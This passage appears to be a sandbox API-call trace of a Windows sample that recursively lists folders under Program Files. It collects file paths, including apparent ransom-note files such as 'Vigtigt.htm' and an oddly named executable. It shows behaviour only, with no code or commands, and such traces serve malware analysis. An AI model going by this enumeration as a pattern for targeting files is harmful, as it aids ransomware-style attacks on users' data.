1 [0123.811] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.811] lstrlenW (lpString="Setup Files") returned 11 [0123.811] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Setup Files" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" [0123.811] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.811] lstrcmpW (lpString1="Vigtigt.htm", lpString2=".") returned 1 [0123.811] lstrcmpW (lpString1="Vigtigt.htm", lpString2="..") returned 1 [0123.811] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.811] lstrlenW (lpString="Vigtigt.htm") returned 11 [0123.811] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Vigtigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" [0123.811] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned 52 [0123.811] lstrcpyW (in: lpString1=0x24b01c8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" [0123.811] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.811] lstrcmpW (lpString1="Viktig.htm", lpString2=".") returned 1 [0123.811] lstrcmpW (lpString1="Viktig.htm", lpString2="..") returned 1 [0123.811] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.811] lstrlenW (lpString="Viktig.htm") returned 10 [0123.811] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Viktig.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" [0123.811] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned 51 [0123.811] lstrcpyW (in: lpString1=0x6df660, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" [0123.811] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.811] lstrcmpW (lpString1="Viktigt.htm", lpString2=".") returned 1 [0123.811] lstrcmpW (lpString1="Viktigt.htm", lpString2="..") returned 1 [0123.811] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.811] lstrlenW (lpString="Viktigt.htm") returned 11 [0123.811] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Viktigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" [0123.811] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned 52 [0123.811] lstrcpyW (in: lpString1=0x24b0240, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" [0123.811] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.811] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.812] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.812] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.812] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.812] lstrcmpW (lpString1="Common Files", lpString2=".") returned 1 [0123.812] lstrcmpW (lpString1="Common Files", lpString2="..") returned 1 [0123.812] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.812] lstrlenW (lpString="Common Files") returned 12 [0123.812] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Common Files" | out: lpString1="c:\\Program Files (x86)\\Common Files") returned="c:\\Program Files (x86)\\Common Files" [0123.812] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\") returned="c:\\Program Files (x86)\\Common Files\\" [0123.812] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0123.812] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\*") returned="c:\\Program Files (x86)\\Common Files\\*" [0123.812] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.812] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.812] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.812] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.812] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.812] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.812] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0123.812] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0123.812] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0123.812] lstrlenW (lpString="Adobe") returned 5 [0123.812] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="Adobe" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe") returned="c:\\Program Files (x86)\\Common Files\\Adobe" [0123.812] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\" [0123.812] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0123.812] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\*") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\*" [0123.812] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\Adobe\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.812] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.812] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.812] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.812] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.812] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.812] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0123.812] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0123.812] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0123.813] lstrlenW (lpString="Acrobat") returned 7 [0123.813] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="Acrobat" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" [0123.813] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.813] lstrcmpW (lpString1="ARM", lpString2=".") returned 1 [0123.813] lstrcmpW (lpString1="ARM", lpString2="..") returned 1 [0123.813] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0123.813] lstrlenW (lpString="ARM") returned 3 [0123.813] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="ARM" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\ARM" [0123.813] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.813] lstrcmpW (lpString1="HelpCfg", lpString2=".") returned 1 [0123.813] lstrcmpW (lpString1="HelpCfg", lpString2="..") returned 1 [0123.813] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0123.813] lstrlenW (lpString="HelpCfg") returned 7 [0123.813] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="HelpCfg" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0123.813] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.813] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.813] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.813] lstrcmpW (lpString1="characters appointed birthday finally.exe", lpString2=".") returned 1 [0123.813] lstrcmpW (lpString1="characters appointed birthday finally.exe", lpString2="..") returned 1 [0123.813] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0123.813] lstrlenW (lpString="characters appointed birthday finally.exe") returned 41 [0123.813] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="characters appointed birthday finally.exe" | out: lpString1="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe") returned="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe" [0123.813] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe") returned 77 [0123.813] lstrcpyW (in: lpString1=0x6df6d0, lpString2="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe" | out: lpString1="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe") returned="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe" [0123.813] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.813] lstrcmpW (lpString1="Java", lpString2=".") returned 1 [0123.813] lstrcmpW (lpString1="Java", lpString2="..") returned 1 [0123.813] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0123.813] lstrlenW (lpString="Java") returned 4 [0123.813] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="Java" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java") returned="c:\\Program Files (x86)\\Common Files\\Java" [0123.813] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Java", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\") returned="c:\\Program Files (x86)\\Common Files\\Java\\" [0123.813] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Java\\") returned 41 [0123.813] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\*") returned="c:\\Program Files (x86)\\Common Files\\Java\\*" [0123.813] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\Java\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.813] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.813] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.813] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.813] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.813] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.813] lstrcmpW (lpString1="Java Update", lpString2=".") returned 1 [0123.813] lstrcmpW (lpString1="Java Update", lpString2="..") returned 1 [0123.814] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Java\\") returned 41 [0123.814] lstrlenW (lpString="Java Update") returned 11 [0123.814] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\", lpString2="Java Update" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned="c:\\Program Files (x86)\\Common Files\\Java\\Java Update" [0123.814] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.814] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.814] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.814] lstrcmpW (lpString1="microsoft shared", lpString2=".") returned 1 [0123.814] lstrcmpW (lpString1="microsoft shared", lpString2="..") returned 1 [0123.814] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0123.814] lstrlenW (lpString="microsoft shared") returned 16 [0123.814] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="microsoft shared" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared" [0123.814] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\" [0123.814] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0123.814] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\*") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\*" [0123.814] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\microsoft shared\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.814] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.814] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.814] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.814] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.814] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.814] lstrcmpW (lpString1="DAO", lpString2=".") returned 1 [0123.814] lstrcmpW (lpString1="DAO", lpString2="..") returned 1 [0123.815] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0123.815] lstrlenW (lpString="DAO") returned 3 [0123.815] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="DAO" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO" [0123.815] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.815] lstrcmpW (lpString1="ink", lpString2=".") returned 1 [0123.815] lstrcmpW (lpString1="ink", lpString2="..") returned 1 [0123.815] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0123.815] lstrlenW (lpString="ink") returned 3 [0123.815] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="ink" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\ink") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\ink" [0123.815] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.815] lstrcmpW (lpString1="MSEnv", lpString2=".") returned 1 [0123.815] lstrcmpW (lpString1="MSEnv", lpString2="..") returned 1 [0123.815] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0123.815] lstrlenW (lpString="MSEnv") returned 5 [0123.815] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="MSEnv" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv" [0123.815] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.815] lstrcmpW (lpString1="MSInfo", lpString2=".") returned 1 [0123.815] lstrcmpW (lpString1="MSInfo", lpString2="..") returned 1 [0123.815] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0123.815] lstrlenW (lpString="MSInfo") returned 6 [0123.815] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="MSInfo" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo" [0123.815] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.815] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2=".") returned 1 [0123.815] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="..") returned 1 [0123.815] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0123.815] lstrlenW (lpString="OfficeSoftwareProtectionPlatform") returned 32 [0123.815] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform" [0123.815] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.815] lstrcmpW (lpString1="Stationery", lpString2=".") returned 1 [0123.815] lstrcmpW (lpString1="Stationery", lpString2="..") returned 1 [0123.815] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0123.815] lstrlenW (lpString="Stationery") returned 10 [0123.815] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="Stationery" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery" [0123.815] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.815] lstrcmpW (lpString1="TextConv", lpString2=".") returned 1 [0123.815] lstrcmpW (lpString1="TextConv", lpString2="..") returned 1 [0123.815] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0123.815] lstrlenW (lpString="TextConv") returned 8 [0123.815] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="TextConv" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv" [0123.815] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.815] lstrcmpW (lpString1="Triedit", lpString2=".") returned 1 [0123.815] lstrcmpW (lpString1="Triedit", lpString2="..") returned 1 [0123.816] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0123.816] lstrlenW (lpString="Triedit") returned 7 [0123.816] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="Triedit" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit" [0123.816] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.816] lstrcmpW (lpString1="VC", lpString2=".") returned 1 [0123.816] lstrcmpW (lpString1="VC", lpString2="..") returned 1 [0123.816] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0123.816] lstrlenW (lpString="VC") returned 2 [0123.816] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VC" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VC") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VC" [0123.816] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.816] lstrcmpW (lpString1="VGX", lpString2=".") returned 1 [0123.816] lstrcmpW (lpString1="VGX", lpString2="..") returned 1 [0123.816] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0123.816] lstrlenW (lpString="VGX") returned 3 [0123.816] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VGX" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX" [0123.816] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.816] lstrcmpW (lpString1="VSTA", lpString2=".") returned 1 [0123.816] lstrcmpW (lpString1="VSTA", lpString2="..") returned 1 [0123.816] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0123.816] lstrlenW (lpString="VSTA") returned 4 [0123.816] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VSTA" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA" [0123.816] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.816] lstrcmpW (lpString1="VSTO", lpString2=".") returned 1 [0123.816] lstrcmpW (lpString1="VSTO", lpString2="..") returned 1 [0123.816] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0123.816] lstrlenW (lpString="VSTO") returned 4 [0123.816] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VSTO" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO" [0123.816] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.816] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.817] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.817] lstrcmpW (lpString1="Services", lpString2=".") returned 1 [0123.817] lstrcmpW (lpString1="Services", lpString2="..") returned 1 [0123.817] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0123.817] lstrlenW (lpString="Services") returned 8 [0123.817] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="Services" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services") returned="c:\\Program Files (x86)\\Common Files\\Services" [0123.817] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Services", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\") returned="c:\\Program Files (x86)\\Common Files\\Services\\" [0123.817] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Services\\") returned 45 [0123.817] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\*") returned="c:\\Program Files (x86)\\Common Files\\Services\\*" [0123.817] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\Services\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.817] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.817] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.817] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.817] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.817] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.817] lstrcmpW (lpString1="verisign.bmp", lpString2=".") returned 1 [0123.817] lstrcmpW (lpString1="verisign.bmp", lpString2="..") returned 1 [0123.817] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Services\\") returned 45 [0123.817] lstrlenW (lpString="verisign.bmp") returned 12 [0123.817] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\", lpString2="verisign.bmp" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" [0123.817] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned 57 [0123.817] lstrcpyW (in: lpString1=0x6df778, lpString2="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" [0123.817] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.817] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.817] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.817] lstrcmpW (lpString1="SpeechEngines", lpString2=".") returned 1 [0123.817] lstrcmpW (lpString1="SpeechEngines", lpString2="..") returned 1 [0123.817] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0123.817] lstrlenW (lpString="SpeechEngines") returned 13 [0123.817] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="SpeechEngines" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines" [0123.817] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\" [0123.817] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned 50 [0123.817] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\*") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\*" [0123.817] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.817] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.817] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.818] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.818] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.818] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.818] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0123.818] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0123.818] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned 50 [0123.818] lstrlenW (lpString="Microsoft") returned 9 [0123.818] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\", lpString2="Microsoft" | out: lpString1="c:\\Program Files 